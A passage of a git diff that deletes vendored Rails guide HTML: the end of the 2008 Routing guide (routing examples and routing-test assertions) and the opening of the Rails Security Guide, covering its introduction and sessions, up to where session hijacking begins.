-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>As with conditions in RESTful routes, you can specify <tt>:get</tt>, <tt>:post</tt>, <tt>:put</tt>, <tt>:delete</tt>, or <tt>:any</tt> for the acceptable method.</p></div>
-<h3 id="_route_globbing">4.9. Route Globbing</h3>
-<div class="para"><p>Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/*other'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'unknown'</span><span style="color: #990000">,</span>
-</tt></pre></div></div>
-<div class="para"><p>This route would match <tt>photo/12</tt> or <tt>/photo/long/path/to/12</tt> equally well, creating an array of path segments as the value of <tt>params[:other]</tt>.</p></div>
-<h3 id="_route_options">4.10. Route Options</h3>
-<div class="para"><p>You can use <tt>:with_options</tt> to simplify defining groups of similar routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>with_options <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photo'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
-  photo<span style="color: #990000">.</span>list <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'index'</span>
-  photo<span style="color: #990000">.</span>delete <span style="color: #FF0000">':id/delete'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'delete'</span>
-  photo<span style="color: #990000">.</span>edit <span style="color: #FF0000">':id/edit'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'edit'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The importance of <tt>map.with_options</tt> has declined with the introduction of RESTful routes.</p></div>
-</div>
-<h2 id="_formats_and_respond_to">5. Formats and respond_to</h2>
-<div class="sectionbody">
-<div class="para"><p>There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special <tt>:format</tt> parameter in the route.</p></div>
-<div class="para"><p>For instance, consider the second of the default routes in the boilerplate <tt>routes.rb</tt> file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>This route matches requests such as <tt>/photo/edit/1.xml</tt> or <tt>/photo/show/2.rss</tt>. Within the appropriate action code, you can issue different responses depending on the requested format:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-  format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># return the default template for HTML</span></span>
-  format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@photo</span><span style="color: #990000">.</span>to_xml <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_specifying_the_format_with_an_http_header">5.1. Specifying the Format with an HTTP Header</h3>
-<div class="para"><p>If there is no <tt>:format</tt> parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.</p></div>
-<h3 id="_recognized_mime_types">5.2. Recognized MIME types</h3>
-<div class="para"><p>By default, Rails recognizes <tt>html</tt>, <tt>text</tt>, <tt>json</tt>, <tt>csv</tt>, <tt>xml</tt>, <tt>rss</tt>, <tt>atom</tt>, and <tt>yaml</tt> as acceptable response types. If you need types beyond this, you can register them in your environment:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"image/jpg"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>jpg
-</tt></pre></div></div>
-</div>
-<h2 id="_the_default_routes">6. The Default Routes</h2>
-<div class="sectionbody">
-<div class="para"><p>When you create a new Rails application, <tt>routes.rb</tt> is initialized with two default routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_the_empty_route">7. The Empty Route</h2>
-<div class="sectionbody">
-<div class="para"><p>Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to <tt>http://example.com</tt> or <tt>http://example.com/</tt> will be handled by the empty route.</p></div>
-<h3 id="_using_map_root">7.1. Using map.root</h3>
-<div class="para"><p>The preferred way to set up the empty route is with the <tt>map.root</tt> command:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
-</tt></pre></div></div>
-<div class="para"><p>The use of the <tt>root</tt> method tells Rails that this route applies to requests for the root of the site.</p></div>
-<div class="para"><p>For better readability, you can specify an already-created route in your call to <tt>map.root</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>index <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
-map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>index
-</tt></pre></div></div>
-<div class="para"><p>Because of the top-down processing of the file, the named route must be specified <em>before</em> the call to <tt>map.root</tt>.</p></div>
-<h3 id="_connecting_the_empty_string">7.2. Connecting the Empty String</h3>
-<div class="para"><p>You can also specify an empty route by explicitly connecting the empty string:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If the empty route does not seem to be working in your application, make sure that you have deleted the file <tt>public/index.html</tt> from your Rails tree.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_inspecting_and_testing_routes">8. Inspecting and Testing Routes</h2>
-<div class="sectionbody">
-<div class="para"><p>Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.</p></div>
-<h3 id="_seeing_existing_routes_with_rake">8.1. Seeing Existing Routes with rake</h3>
-<div class="para"><p>If you want a complete list of all of the available routes in your application, run the <tt>rake routes</tt> command. This will dump all of your routes to the console, in the same order that they appear in <tt>routes.rb</tt>. For each route, you'll see:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The route name (if any)
-</p>
-</li>
-<li>
-<p>
-The HTTP verb used (if the route doesn't respond to all verbs)
-</p>
-</li>
-<li>
-<p>
-The URL pattern
-</p>
-</li>
-<li>
-<p>
-The routing parameters that will be generated by this URL
-</p>
-</li>
-</ul></div>
-<div class="para"><p>For example, here's a small section of the <tt>rake routes</tt> output for a RESTful route:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>          users GET  /users          {:controller=&gt;"users", :action=&gt;"index"}
-formatted_users GET  /users.:format  {:controller=&gt;"users", :action=&gt;"index"}
-                POST /users          {:controller=&gt;"users", :action=&gt;"create"}
-                POST /users.:format  {:controller=&gt;"users", :action=&gt;"create"}</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You'll find that the output from <tt>rake routes</tt> is much more readable if you widen your terminal window until the output lines don't wrap.</td>
-</tr></table>
-</div>
-<h3 id="_testing_routes">8.2. Testing Routes</h3>
-<div class="para"><p>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html">built-in assertions</a> designed to make testing routes simpler:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>assert_generates</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>assert_recognizes</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>assert_routing</tt>
-</p>
-</li>
-</ul></div>
-<h4 id="_the_tt_assert_generates_tt_assertion">8.2.1. The <tt>assert_generates</tt> Assertion</h4>
-<div class="para"><p>Use <tt>assert_generates</tt> to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_generates <span style="color: #FF0000">"/photos/1"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
-assert_generates <span style="color: #FF0000">"/about"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"about"</span>
-</tt></pre></div></div>
-<h4 id="_the_tt_assert_recognizes_tt_assertion">8.2.2. The <tt>assert_recognizes</tt> Assertion</h4>
-<div class="para"><p>The <tt>assert_recognizes</tt> assertion is the inverse of <tt>assert_generates</tt>. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">"/photos/1"</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply a <tt>:method</tt> argument to specify the HTTP verb:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also use the RESTful helpers to test recognition of a RESTful route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes new_photo_url<span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<h4 id="_the_tt_assert_routing_tt_assertion">8.2.3. The <tt>assert_routing</tt> Assertion</h4>
-<div class="para"><p>The <tt>assert_routing</tt> assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of <tt>assert_generates</tt> and <tt>assert_recognizes</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_routing <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_changelog">9. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-September 23, 2008: Added section on namespaced controllers and routing, by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-September 10, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/security.html b/vendor/rails/railties/doc/guides/html/security.html
deleted file mode 100644
index 390efb54..00000000
--- a/vendor/rails/railties/doc/guides/html/security.html
+++ /dev/null
@@ -1,1346 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Ruby On Rails Security Guide</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_introduction">Introduction</a>
-					</li>
-					<li>
-					<a href="#_sessions">Sessions</a>
-						<ul>
-						
-							<li><a href="#_what_are_sessions">What are sessions?</a></li>
-						
-							<li><a href="#_session_id">Session id</a></li>
-						
-							<li><a href="#_session_hijacking">Session hijacking</a></li>
-						
-							<li><a href="#_session_guidelines">Session guidelines</a></li>
-						
-							<li><a href="#_session_storage">Session storage</a></li>
-						
-							<li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li>
-						
-							<li><a href="#_session_fixation">Session fixation</a></li>
-						
-							<li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li>
-						
-							<li><a href="#_session_expiry">Session expiry</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a>
-						<ul>
-						
-							<li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_redirection_and_files">Redirection and Files</a>
-						<ul>
-						
-							<li><a href="#_redirection">Redirection</a></li>
-						
-							<li><a href="#_file_uploads">File uploads</a></li>
-						
-							<li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li>
-						
-							<li><a href="#_file_downloads">File downloads</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_intranet_and_admin_security">Intranet and Admin security</a>
-						<ul>
-						
-							<li><a href="#_additional_precautions">Additional precautions</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_mass_assignment">Mass assignment</a>
-						<ul>
-						
-							<li><a href="#_countermeasures">Countermeasures</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_user_management">User management</a>
-						<ul>
-						
-							<li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li>
-						
-							<li><a href="#_account_hijacking">Account hijacking</a></li>
-						
-							<li><a href="#_captchas">CAPTCHAs</a></li>
-						
-							<li><a href="#_logging">Logging</a></li>
-						
-							<li><a href="#_good_passwords">Good passwords</a></li>
-						
-							<li><a href="#_regular_expressions">Regular expressions</a></li>
-						
-							<li><a href="#_privilege_escalation">Privilege escalation</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_injection">Injection</a>
-						<ul>
-						
-							<li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li>
-						
-							<li><a href="#_sql_injection">SQL Injection</a></li>
-						
-							<li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li>
-						
-							<li><a href="#_css_injection">CSS Injection</a></li>
-						
-							<li><a href="#_textile_injection">Textile Injection</a></li>
-						
-							<li><a href="#_ajax_injection">Ajax Injection</a></li>
-						
-							<li><a href="#_rjs_injection">RJS Injection</a></li>
-						
-							<li><a href="#_command_line_injection">Command Line Injection</a></li>
-						
-							<li><a href="#_header_injection">Header Injection</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_additional_resources">Additional resources</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Ruby On Rails Security Guide</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
-mail me, Heiko Webers, at 42 {<em>et</em>} rorsecurity.info. After reading it, you should be familiar with:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-All countermeasures <span style="background-color: #fffcdb;">that are highlighted</span>
-</p>
-</li>
-<li>
-<p>
-The concept of sessions in Rails, what to put in there and popular attack methods
-</p>
-</li>
-<li>
-<p>
-How just visiting a site can be a security problem (with CSRF)
-</p>
-</li>
-<li>
-<p>
-What you have to pay attention to when working with files or providing an administration interface
-</p>
-</li>
-<li>
-<p>
-The Rails-specific mass assignment problem
-</p>
-</li>
-<li>
-<p>
-How to manage users: Logging in and out and attack methods on all layers
-</p>
-</li>
-<li>
-<p>
-And the most popular injection attack methods
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_introduction">1. Introduction</h2>
-<div class="sectionbody">
-<div class="para"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
-<div class="para"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
-<div class="para"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
-<div class="para"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
-<div class="para"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
-</div>
-<h2 id="_sessions">2. Sessions</h2>
-<div class="sectionbody">
-<div class="para"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
-<h3 id="_what_are_sessions">2.1. What are sessions?</h3>
-<div class="para"><p>&#8212; <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
-<div class="para"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
-Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p></div>
-<div class="para"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>id
-User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<h3 id="_session_id">2.2. Session id</h3>
-<div class="para"><p>&#8212; <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
-<div class="para"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
-<h3 id="_session_hijacking">2.3. Session hijacking</h3>
-<div class="para"><p>&#8212; <em>Stealing a user's session id lets an attacker use the web application in the victim's name.</em></p></div>
-<div class="para"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
-<div class="para"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
